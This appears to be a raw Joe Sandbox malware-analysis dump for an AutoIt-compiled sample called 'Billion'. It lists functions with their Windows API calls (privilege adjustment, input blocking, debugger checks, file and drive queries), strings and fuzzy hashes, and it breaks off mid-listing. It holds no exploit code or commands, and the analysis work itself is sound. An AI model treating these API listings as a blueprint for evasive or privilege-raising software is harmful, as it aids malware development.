Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 92571c85bc663e5a0825fc971b23c12b75b53a53920d5f0ef01e6b1de4457ecd
Instruction ID: e077452120021e47e31b4caef0ebe8a9c0d9ca3142e0158bd30ac37d1fd347f0
Opcode Fuzzy Hash: 92571c85bc663e5a0825fc971b23c12b75b53a53920d5f0ef01e6b1de4457ecd
Instruction Fuzzy Hash: 34F0A030410910679A10A738FC0D8AE7AAEAF02335B544715F836C24E0DB78E9958695

Function 0018E5F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0018E5F8

Strings

X64, xrefs: 0018E680
%.3d, xrefs: 0018E603

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 3d30841f56b0c693ebf931f197f44e5546476e1939772f141d9fce1dbc61518a
Instruction ID: ec631b6cad50b4abb7ff54ec5ae0e1bc703d005e0d9a278ede2c21efb74147aa
Opcode Fuzzy Hash: 3d30841f56b0c693ebf931f197f44e5546476e1939772f141d9fce1dbc61518a
Instruction Fuzzy Hash: C7D012B1C08118D6CB88A6909C88CB973FCBB28300F764466F906E1010F730DA449F21

Function 00162992 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0000000A), ref: 00162A8A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0000000A), ref: 00162A94
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0000000A), ref: 00162AA1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 58ae49428467e03cb21424e939204b5e00041ac02602598df7c8a1deddb33232
Instruction ID: 511bf0dd486bcb612ea420695522b044c2e931df287292dcba9c8e455444a339
Opcode Fuzzy Hash: 58ae49428467e03cb21424e939204b5e00041ac02602598df7c8a1deddb33232
Instruction Fuzzy Hash: 0E31C6759012289BCB21DF64DD88799BBB4AF18311F5041EAE81CA7250E7709F858F45

Function 00192010 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0015014B: __CxxThrowException@8.LIBVCRUNTIME ref: 001509D8
Part of subcall function 0015014B: __CxxThrowException@8.LIBVCRUNTIME ref: 001509F5

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0019205A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00192087
GetLastError.KERNEL32 ref: 00192097

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 2281a9c3764a5e96535e203780ebdd924de5a0aca3a79ebcdcdbbc90010d273d
Instruction ID: 8de01399abe03fc7fa835e2f4cb766f57c14f9eec75aab818d0aded788066427
Opcode Fuzzy Hash: 2281a9c3764a5e96535e203780ebdd924de5a0aca3a79ebcdcdbbc90010d273d
Instruction Fuzzy Hash: ED119DB1400604BFD7189F54ECC6D6BBBA8EB08710B24842EF45656251EB71EC41CA20

Function 00155058 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,0015502E,?,001F98D8,0000000C,00155185,?,00000002,00000000), ref: 00155079
TerminateProcess.KERNEL32(00000000,?,0015502E,?,001F98D8,0000000C,00155185,?,00000002,00000000), ref: 00155080
ExitProcess.KERNEL32 ref: 00155092

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 891c2fb197bf4cb6f606c42220555901a1d62c88a59a6b0febe8eb1b2e314a98
Instruction ID: 86dc2f68dd8afaeedcde5c0f2bf5abace7eebb77f619f0145a2953fa30e5e259
Opcode Fuzzy Hash: 891c2fb197bf4cb6f606c42220555901a1d62c88a59a6b0febe8eb1b2e314a98
Instruction Fuzzy Hash: 63E0B671000588EFCF216F54ED19E583F6AEB60386F154024FC599A961DB35DD96CAC0

Function 0018E652 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0018E664

Strings

X64, xrefs: 0018E680

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: b184e403530be8e0f59c1fa94475936ea99b859b5095da2fea10fefb5f07e8d6
Instruction ID: 87bf8d009db0f8aa81dccb616572ce9440f3bd9ca86332dcd703a7dddca9436a
Opcode Fuzzy Hash: b184e403530be8e0f59c1fa94475936ea99b859b5095da2fea10fefb5f07e8d6
Instruction Fuzzy Hash: B7D0C9F480112DEACB84CB50EC88DD977BCBB04304F120665F106E2000D73096498F10

Function 001A41FA Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,001B52EE,?,?,00000035,?), ref: 001A4229
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,001B52EE,?,?,00000035,?), ref: 001A4239

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 6f5b5bdf703ea622a4c9473fb60681856b30fac121b69ee5c552537fc63d6520
Instruction ID: 4612bd2cb24363687d6e22fa8d5f284a168c29c808536b81f64e2ed94ca3cd58
Opcode Fuzzy Hash: 6f5b5bdf703ea622a4c9473fb60681856b30fac121b69ee5c552537fc63d6520
Instruction Fuzzy Hash: 7EF0E5756002246AE7201665AC4DFEB7A6DFFC5761F000176F509D2281DA70D940C6B0

Function 00191A0B Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00191B48), ref: 00191A20
CloseHandle.KERNEL32(?,?,00191B48), ref: 00191A35

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: c9d81d00a73570fe281f3fdbc708d8d39a9992b4b6670f32b79f7384394212bb
Instruction ID: 184cdbab5b9af4d8516b93b431a33abfe3e6dd64d571175d16cde0a634e1110f
Opcode Fuzzy Hash: c9d81d00a73570fe281f3fdbc708d8d39a9992b4b6670f32b79f7384394212bb
Instruction Fuzzy Hash: AAE01A72004A10AEE7262B50FC05E727BA9FB04351F14882DB8A584470DBA2AC91DA10

Function 001AF4FF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 001AF51A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 10534a97afd2a076c1b00b68f97d9e1bb8597bef0beafd4ff5f39c698e32107a
Instruction ID: 23b81463d3edb903e7fc2ddc4f77ed1b7a089678b9e2406d974ff5a711989f8b
Opcode Fuzzy Hash: 10534a97afd2a076c1b00b68f97d9e1bb8597bef0beafd4ff5f39c698e32107a
Instruction Fuzzy Hash: 6AE048762003149FD710AF69D405E56FBD8AFA5761F018429F849D7351D770F941CB94

Function 0019EC6C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 0019EC95

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 18dde75b4aa928b57e935d09dcd350ad151feea4da71dc79753e614b498b2204
Instruction ID: fee709c89154719da76d7dc6bcec657521d98860861854c882271f81ee3ef324
Opcode Fuzzy Hash: 18dde75b4aa928b57e935d09dcd350ad151feea4da71dc79753e614b498b2204
Instruction Fuzzy Hash: 31D05EB61903007AEC1CCA3CDF2FF360A89E302761F804349F182D5595E7C199409123

Function 00150D45 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020D51,0015075E), ref: 00150D4A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 95147e4ae1a6a320bf48740b686f754e8c28fa92e8734e511c1f2e63a38ef136
Instruction ID: e5e9d6fd7619dd92f2c18331743b8ff1f35cdc9dc34f17a1b7a1d83251d47fcc
Opcode Fuzzy Hash: 95147e4ae1a6a320bf48740b686f754e8c28fa92e8734e511c1f2e63a38ef136
Instruction Fuzzy Hash:

Function 001B353B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 001B358D
DeleteObject.GDI32(00000000), ref: 001B35A0
DestroyWindow.USER32 ref: 001B35AF
GetDesktopWindow.USER32 ref: 001B35CA
GetWindowRect.USER32(00000000), ref: 001B35D1
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 001B3700
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 001B370E
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B3755
GetClientRect.USER32(00000000,?), ref: 001B3761
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 001B379D
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B37BF
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B37D2
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B37DD
GlobalLock.KERNEL32(00000000), ref: 001B37E6
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B37F5
GlobalUnlock.KERNEL32(00000000), ref: 001B37FE
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B3805
GlobalFree.KERNEL32(00000000), ref: 001B3810
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B3822
OleLoadPicture.OLEAUT32(?,00000000,00000000,001D0C04,00000000), ref: 001B3838
GlobalFree.KERNEL32(00000000), ref: 001B3848
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 001B386E
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 001B388D
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B38AF
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 001B3A9C

Strings

static, xrefs: 001B3797, 001B38EE
DISPLAY, xrefs: 001B38FF
, xrefs: 001B3A22
AutoIt v3, xrefs: 001B374F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: c7a684e2030658e26ced2932eeac046721c829565f138d2c21635fcd442b5d0f
Instruction ID: a7e17ad9104147f21df0fe4d1b59364d0e18da7ad44abdb94d14c3678c2d9979
Opcode Fuzzy Hash: c7a684e2030658e26ced2932eeac046721c829565f138d2c21635fcd442b5d0f
Instruction Fuzzy Hash: DB027C72900215EFDB14DF64DC89EAE7BB9FB48314F048168F915AB2A1CB74EE45CB60

Function 00131625 Relevance: 53.0, APIs: 26, Strings: 4, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 001316B4
SendMessageW.USER32(?,00001308,?,00000000), ref: 00172B07
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00172B40
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00172F85

Part of subcall function 00131802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00131488,?,00000000,?,?,?,?,0013145A,00000000,?), ref: 00131865

SendMessageW.USER32(?,00001053), ref: 00172FC1
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00172FD8
ImageList_Destroy.COMCTL32(00000000,?), ref: 00172FEE
ImageList_Destroy.COMCTL32(00000000,?), ref: 00172FF9

Strings

0, xrefs: 00172E11
( , xrefs: 00173035
( , xrefs: 00172B86
( , xrefs: 00172CA1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0$( $( $(
API String ID: 2760611726-4072025856
Opcode ID: 70bedf3f36aa9ceb6a1ed8794b5f7bcccbcdd0c3ac10b072f270168e607dcead
Instruction ID: a38eb957c08d99f66947311dd67abe96619e71dc7b4d8d4244171459a75541d9
Opcode Fuzzy Hash: 70bedf3f36aa9ceb6a1ed8794b5f7bcccbcdd0c3ac10b072f270168e607dcead
Instruction Fuzzy Hash: 1112BE70204241EFC729CF54D889BA9BBF5FB54300F288569F4999B662CB71EC87CB91

Function 001C7B0D Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 001C7B67
GetSysColorBrush.USER32(0000000F), ref: 001C7B98
GetSysColor.USER32(0000000F), ref: 001C7BA4
SetBkColor.GDI32(?,000000FF), ref: 001C7BBE
SelectObject.GDI32(?,?), ref: 001C7BCD
InflateRect.USER32(?,000000FF,000000FF), ref: 001C7BF8
GetSysColor.USER32(00000010), ref: 001C7C00
CreateSolidBrush.GDI32(00000000), ref: 001C7C07
FrameRect.USER32(?,?,00000000), ref: 001C7C16
DeleteObject.GDI32(00000000), ref: 001C7C1D
InflateRect.USER32(?,000000FE,000000FE), ref: 001C7C68
FillRect.USER32(?,?,?), ref: 001C7C9A
GetWindowLongW.USER32(?,000000F0), ref: 001C7CBC

Part of subcall function 001C7E22: GetSysColor.USER32(00000012), ref: 001C7E5B
Part of subcall function 001C7E22: SetTextColor.GDI32(?,001C7B2D), ref: 001C7E5F
Part of subcall function 001C7E22: GetSysColorBrush.USER32(0000000F), ref: 001C7E75
Part of subcall function 001C7E22: GetSysColor.USER32(0000000F), ref: 001C7E80
Part of subcall function 001C7E22: GetSysColor.USER32(00000011), ref: 001C7E9D
Part of subcall function 001C7E22: CreatePen.GDI32(00000000,00000001,00743C00), ref: 001C7EAB
Part of subcall function 001C7E22: SelectObject.GDI32(?,00000000), ref: 001C7EBC
Part of subcall function 001C7E22: SetBkColor.GDI32(?,?), ref: 001C7EC5
Part of subcall function 001C7E22: SelectObject.GDI32(?,?), ref: 001C7ED2
Part of subcall function 001C7E22: InflateRect.USER32(?,000000FF,000000FF), ref: 001C7EF1
Part of subcall function 001C7E22: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 001C7F08
Part of subcall function 001C7E22: GetWindowLongW.USER32(?,000000F0), ref: 001C7F15

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 664c34b4c357b9f9ec924a9aa64303036b8f9f3036009f6ab7c64d075324e1be
Instruction ID: 85d1f3c150ae730cbc81cf612ee3173f3347dfb86772a1471f549c665d9041cb
Opcode Fuzzy Hash: 664c34b4c357b9f9ec924a9aa64303036b8f9f3036009f6ab7c64d075324e1be
Instruction Fuzzy Hash: 60A15B72008302AFDB119F64EC48F6BBBA9FB48325F144A2DF962965E0D771D984CF52

Function 001B316E Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 001B319B
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 001B32C7
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 001B3306
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 001B3316
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 001B335D
GetClientRect.USER32(00000000,?), ref: 001B3369
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 001B33B2
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 001B33C1
GetStockObject.GDI32(00000011), ref: 001B33D1
SelectObject.GDI32(00000000,00000000), ref: 001B33D5
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 001B33E5
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001B33EE
DeleteDC.GDI32(00000000), ref: 001B33F7
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 001B3423
SendMessageW.USER32(00000030,00000000,00000001), ref: 001B343A
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 001B347A
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 001B348E
SendMessageW.USER32(00000404,00000001,00000000), ref: 001B349F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 001B34D4
GetStockObject.GDI32(00000011), ref: 001B34DF
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 001B34EA
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 001B34F4

Strings

static, xrefs: 001B33AC, 001B34CE
DISPLAY, xrefs: 001B33B7
msctls_progress32, xrefs: 001B3470
AutoIt v3, xrefs: 001B3355

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: ffb2a3e0f922fe1f27249269c92ee58bfcbba53cf4f84dc8d9b3219a5d752d5e
Instruction ID: c31756b854db5707c3d2436718f6cfa4f0e9db766db5935ab3aee89d3bfe3a26
Opcode Fuzzy Hash: ffb2a3e0f922fe1f27249269c92ee58bfcbba53cf4f84dc8d9b3219a5d752d5e
Instruction Fuzzy Hash: 61B15071A00215AFEB14DFA8DC49FAEBBB9EB48710F008159FA15E7291DB74ED40CB94

Function 001A5524 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 001A5532
GetDriveTypeW.KERNEL32(?,001CDC30,?,\\.\,001CDCD0), ref: 001A560F
SetErrorMode.KERNEL32(00000000,001CDC30,?,\\.\,001CDCD0), ref: 001A577B

Strings

